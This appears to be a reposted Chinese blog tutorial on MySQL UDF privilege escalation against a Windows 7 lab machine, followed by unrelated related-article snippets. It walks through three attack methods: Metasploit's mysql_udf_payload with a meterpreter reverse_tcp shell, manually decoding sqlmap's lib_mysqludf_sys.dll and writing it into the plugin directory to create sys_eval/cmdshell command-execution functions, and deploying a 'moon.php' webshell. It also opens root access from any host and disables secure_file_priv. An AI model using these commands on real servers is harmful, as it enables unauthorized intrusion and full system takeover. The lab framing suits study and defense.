MYSQL提权

一、环境准备:

靶场机:windows7:192.168.200.34
攻击机:kali:192.168.200.14

二、原理:

UDF(User-Defined Function)提权指的是通过在MySQL数据库中编写自定义函数(UDF)的方式,实现在MySQL数据库中提升权限的方法

三、利用条件:

  1. mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的lib\plugin文件夹下,该目录默认是不存在的,需要使用webshell找到mysql的安装目录,并在安装目录下手动创建MySQL\Lib\Plugin\文件夹,然后将udf.dll导入到该目录。

  2. mysql版本小于5.1,udf.dll文件在windows server 2003下放置于c:\windows\system32目录,在windows server 2000下放置在c:\winnt\system32目录。

  3. 掌握mysql数据库的账户,从拥有对mysql的insert和delete权限,以创建和抛弃函数。拥有可以将udf.dll写入相应目录的权限。

  4. 可以将udf.dll写入到相应目录的权限。

  5. 知道root账号密码UDF提权

select version();   # 获取数据库版本
select user();  # 获取数据库用户
select @@basedir;   # 获取数据库安装目录
show variables like ‘%plugin%’; # 查看plugin路径。

利用navicat实现远程操控

操作方法一之MSF-udf-利用:

靶场设置:
在phpmyadmin中开启mysql远程连接

use mysql;
grant all privileges on *.* to root@'%' identified by '数据库密码';
flush privileges; 

先后执行:
首先需要先使用数据库
image.png
image.png
kali中使⽤MSF指令,构造payload进行替换
一、设置参数,执行导入dll

use exploit/multi/mysql/mysql_udf_payload
set payload windows/meterpreter/reverse_tcp
set password 123456
set rhosts 192.168.200.38 #靶机IP
run

1、image.png
2、
image.png
3、一般的出现这样的进程信息代表.dll文件正在生成中
image.png
4、options设置必要参数
image.png
注意:出现如下报错信信息的解决手段:
image.png
解决方式
在my.ini中mysqld下的首航添加属性 secure_file_priv = ’ ’
用法详情:

secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
 
当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
 
当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制

回到windows7中检验已经生成好的.dll文件,如下图:
image.png
使用navicat充当远程连接数据库的工具,充当提权的工具:
使用数据库管理工具windows 7 连接mysql
image.png
执行命令如下命令查看dll是否导入成功,并且新建函数sys_exec
image.png
sys_exec函数无回显,使用MSF生成的dll 生成自建函数sys_eval(我这里已经创建好了)
image.png
最后调用sys_eval函数执行dll,从中执行查询命令
image.png

操作方法二 之手工导出sqlmap中的dll:

利用:sqlmap中有udf文件,一般在\sqlmap\data\udf\mysql\windows\64目录下存放着lib_mysqludf_sys.dll
64位选64位,32位选32位
image.png
1.将sqlmap中的dll_文件解码为dll;cloak.py目录为:sqlmap/extra/cloak,将上图的文件放到此目录下,进行解码,生成一个名为udf.dll的文件

  • sqlmap自带shell及二进制文件,防止被误杀都经过异或方式编码,不能直接使用,需利用SQLMap自带的解码工具cloak.py进行解码
python cloak.py -d -i lib_mysqludf_sys.dll_ -o udf.dll

image.png
2.将我们的udf.dll二进制文件读取UDF转换为十六机制进行处理;

由于当前的靶场环境是在虚拟机中,所以应该在虚拟中寻找下图文件
此命令在navicat执行即可

SELECT HEX(LOAD_FILE('c:/udf.dll')) INTO DUMPFILE 'c:/udf11.txt';

image.png
image.png
3.打开navcat,新建一个表,表名为udftmp,用来存放本地传来的udf文件的内容

create table udftmp (udf LONGBLOB);

image.png
4.在udftmp中写入udf文件的十六进制内容(第二步骤)

INSERT INTO udftmp VALUE(UNHEX("16进制udf.dll文件内容"));

-- 出现secure-file-priv相关报错,需要修改mysql配置文件my.ini或mysql.cnf
-- secure_file_priv=/ # 允许导入到任意路径

image.png
5.将udf文件内容传入新建的udf.dll文件中,路径根据自己的select @@plugin_dir;修改。
(//C:\phpstudyx\Extensions\MySQL5.7.26\lib\plugin\下)
image.png
image.png

6.执行下面语句,创建函数cmdshell
可以看大当前是只有两个字函数的,并且每一个函数都对应着类型的文件
image.png
此处,我们可以直接使用方法一的MSF-UDF方法的sys_eval函数进行提权,利用UDF创建用户自定义函数

create function cmdshell returns string soname 'udf.dll';

image.png
解决:
image.png
7.利用函数执行命令

select  sys_eval('whoami');

image.png

操作方法三之暗月moon.php:

将下载好的大马放入到根下,然后浏览器中解析文件
(www/data/config.php内 数据库存储着用户名和密码)
image.png
报错,根据靶场经验来看,和php版本有关,如果不知道的话可以尝试其他方法多多踩坑,最后还是得想到降低php版本
image.png
php版本5.3.29即可
image.png

查看一下,大马能够实现功能
1、还能利用webshell工具进行反弹shell等诸多功能
image.png
2、查看mysql版本位数(有利收集信息的SQL语句都可以往进输入)

show variables like '%version_%';

image.png

3、查看当前用户
image.png
image.png
4、
image.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/230333.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

ALTERNET STUDIO 9.1 Crack

ALTERNET STUDIO 9.1 发布 宣布 AlterNET Studio 9.1 版本今天上线。AlterNET Studio 9.0 是一个中期更新,重点是改进我们所有的组件库。 以下是 AlterNET Studio 9.1 的发布亮点: Roslyn C# 和 Visual Basic 解析器现在支持代码修复/代码重构。 代码修复…

PSP - 计算蛋白质复合物链间接触的残基与面积

欢迎关注我的CSDN:https://spike.blog.csdn.net/ 本文地址:https://spike.blog.csdn.net/article/details/134884889 在蛋白质复合物中,通过链间距离,可以计算出在接触面的残基与接触面的面积,使用 BioPython 库 与 SA…

整数以及浮点数在内存中的存储

一.整数在内存当中的存储 数据在内存中是以十六进制补码的形式进行存储的。 原码表示法简单易懂,适用于乘法,但用原码表示的数进行加减运算比较复杂,当两数相加时,如果同号则数值相加,但是进行减法时要先比较绝对值的…

【面试专题】MySQL篇①

1.MySQL中,如何定位慢查询? ①介绍一下当时产生问题的场景(我们当时的一个接口测试的时候非常的慢,压测的结果大概5秒钟) ②我们系统中当时采用了运维工具( Skywalking ),可以监测出哪个接口…

学习pytorch18 pytorch完整的模型训练流程

pytorch完整的模型训练流程 1. 流程1. 整理训练数据 使用CIFAR10数据集2. 搭建网络结构3. 构建损失函数4. 使用优化器5. 训练模型6. 测试数据 计算模型预测正确率7. 保存模型 2. 代码1. model.py2. train.py 3. 结果tensorboard结果以下图片 颜色较浅的线是真实计算的值&#x…

idea使用maven的package打包时提示“找不到符号”或“找不到包”

介绍:由于我们的项目是多模块开发项目,在打包时有些模块内容更新导致其他模块在引用该模块时不能正确引入。 情况一:找不到符号 情况一:找不到包 错误代码部分展示: Failure to find com.xxx.xxxx:xxx:pom:0.5 in …

3D渲染和动画制作软件KeyShot Pro mac附加功能

KeyShot 11 mac是一款专业化实时3D渲染工具,使用它可以简化3d渲染和动画制作流程,并且提供最准确的材质及光线,渲染效果更加真实,KeyShot为您提供了使用 CPU 或 NVIDIA GPU 进行渲染的能力和选择,并能够线性扩展以获得…

HarmonyOS4.0从零开始的开发教程10管理组件状态

HarmonyOS(八)管理组件状态 概述 在应用中,界面通常都是动态的。如图1所示,在子目标列表中,当用户点击目标一,目标一会呈现展开状态,再次点击目标一,目标一呈现收起状态。界面会根…

Django的logging-日志模块的简单使用方法

扩展阅读: Python-Django的“日志功能-日志模块(logging模块)-日志输出”的功能详解 现在有下面的Python代码: # -*- coding: utf-8 -*-def log_out_test(content_out):print(content_out)content1 "i love you01" log_out_test(content1)现…

<Linux>(极简关键、省时省力)《Linux操作系统原理分析之Linux 设备管理》(29)

《Linux操作系统原理分析之Linux 设备管理》(29) 10 Linux 设备管理10.1 Linux 设备分类与识别10.1.1 Linux 设备的分类10.1.2 设备文件 10.2 设备驱动程序与设备注册10.2.1 设备驱动程序10.2.2 设备注册 10.3Linux 的 I/O 控制方式10.3.1 查…

Docker, Docker-compose部署Sonarqube

参考文档 镜像地址: https://hub.docker.com/_/sonarqube/tags Docker部署文档地址 Installing from Docker | SonarQube Docs Docker-compose文档部署地址: Installing from Docker | SonarQube Docs 部署镜像 2.1 docker部署 # 宿主机执行 $. vi /etc/sysctl.conf…

探索CSS:从入门到精通Web开发(二)

前言 当我们谈论网页设计和开发时,CSS(层叠样式表)无疑是其中的重要一环。作为HTML的伴侣,CSS赋予网页以丰富的样式和布局,使得网站看起来更加吸引人并且具备更好的可读性。本书将通过一系列深入浅出的方式&#xff0…

kafka学习笔记--安装部署、简单操作

本文内容来自尚硅谷B站公开教学视频,仅做个人总结、学习、复习使用,任何对此文章的引用,应当说明源出处为尚硅谷,不得用于商业用途。 如有侵权、联系速删 视频教程链接:【尚硅谷】Kafka3.x教程(从入门到调优…

深入理解 Promise:前端异步编程的核心概念

深入理解 Promise:前端异步编程的核心概念 本文将帮助您深入理解 Promise,这是前端异步编程的核心概念。通过详细介绍 Promise 的工作原理、常见用法和实际示例,您将学会如何优雅地处理异步操作,并解决回调地狱问题。 异步编程和…

python主流开发工具排名,python开发工具有哪些

本篇文章给大家谈谈python的开发工具软件有哪些,以及python主流开发工具排名,希望对各位有所帮助,不要忘了收藏本站喔。 python中用到哪些软件 一、Python代码编辑器1、sublime Textsublime Text是一款非常流行的代码编辑器,支持P…

基于单片机指纹考勤机控制系统设计

**单片机设计介绍,基于单片机指纹考勤机控制系统设计 文章目录 一 概要二、功能设计设计思路 三、 软件设计原理图 五、 程序六、 文章目录 一 概要 基于单片机的指纹考勤机控制系统是一种用于管理员工考勤和实现门禁控制的设计方案。它通过使用单片机作为主控制器…

Amazon CodeWhisperer 提供新的人工智能驱动型代码修复、IaC 支持以及与 Visual Studio 的集成...

Amazon CodeWhisperer 的人工智能(AI)驱动型代码修复和基础设施即代码(IaC)支持已正式推出。Amazon CodeWhisperer 是一款用于 IDE 和命令行的人工智能驱动型生产力工具,现已在 Visual Studio 中推出,提供预…

nodejs微信小程序+python+PHP的游戏测评网站设计与实现-计算机毕业设计推荐

目 录 摘 要 I ABSTRACT II 目 录 II 第1章 绪论 1 1.1背景及意义 1 1.2 国内外研究概况 1 1.3 研究的内容 1 第2章 相关技术 3 2.1 nodejs简介 4 2.2 express框架介绍 6 2.4 MySQL数据库 4 第3章 系统分析 5 3.1 需求分析 5 3.2 系统可行性分析 5 3.2.1技术可行性:…

初识Matter——esp-box控制两盏灯

初识Matter 一、效果展示 二、准备 1.ubuntu系统/Mac系统电脑 2.安装esp-idf及esp-matter环境 3.esp-box设备 4.两块esp32 5.两个led灯或使用板载灯 三、烧录固件(esp-box) 下载esp-box例程 git地址:GitHub - espressif/esp-box: Th…

微信小程序 - PC端选择ZIP文件

微信小程序 - PC端选择文件 分享代码片段场景分析解决思路附魔脚本chooseMediaZip 选择附魔后的ZIP文件相关方法测试方法 参考资料 分享代码片段 不想听废话的,直接看代码。 https://developers.weixin.qq.com/s/UL9aojmn7iNU 场景分析 如果你的微信小程序需要选…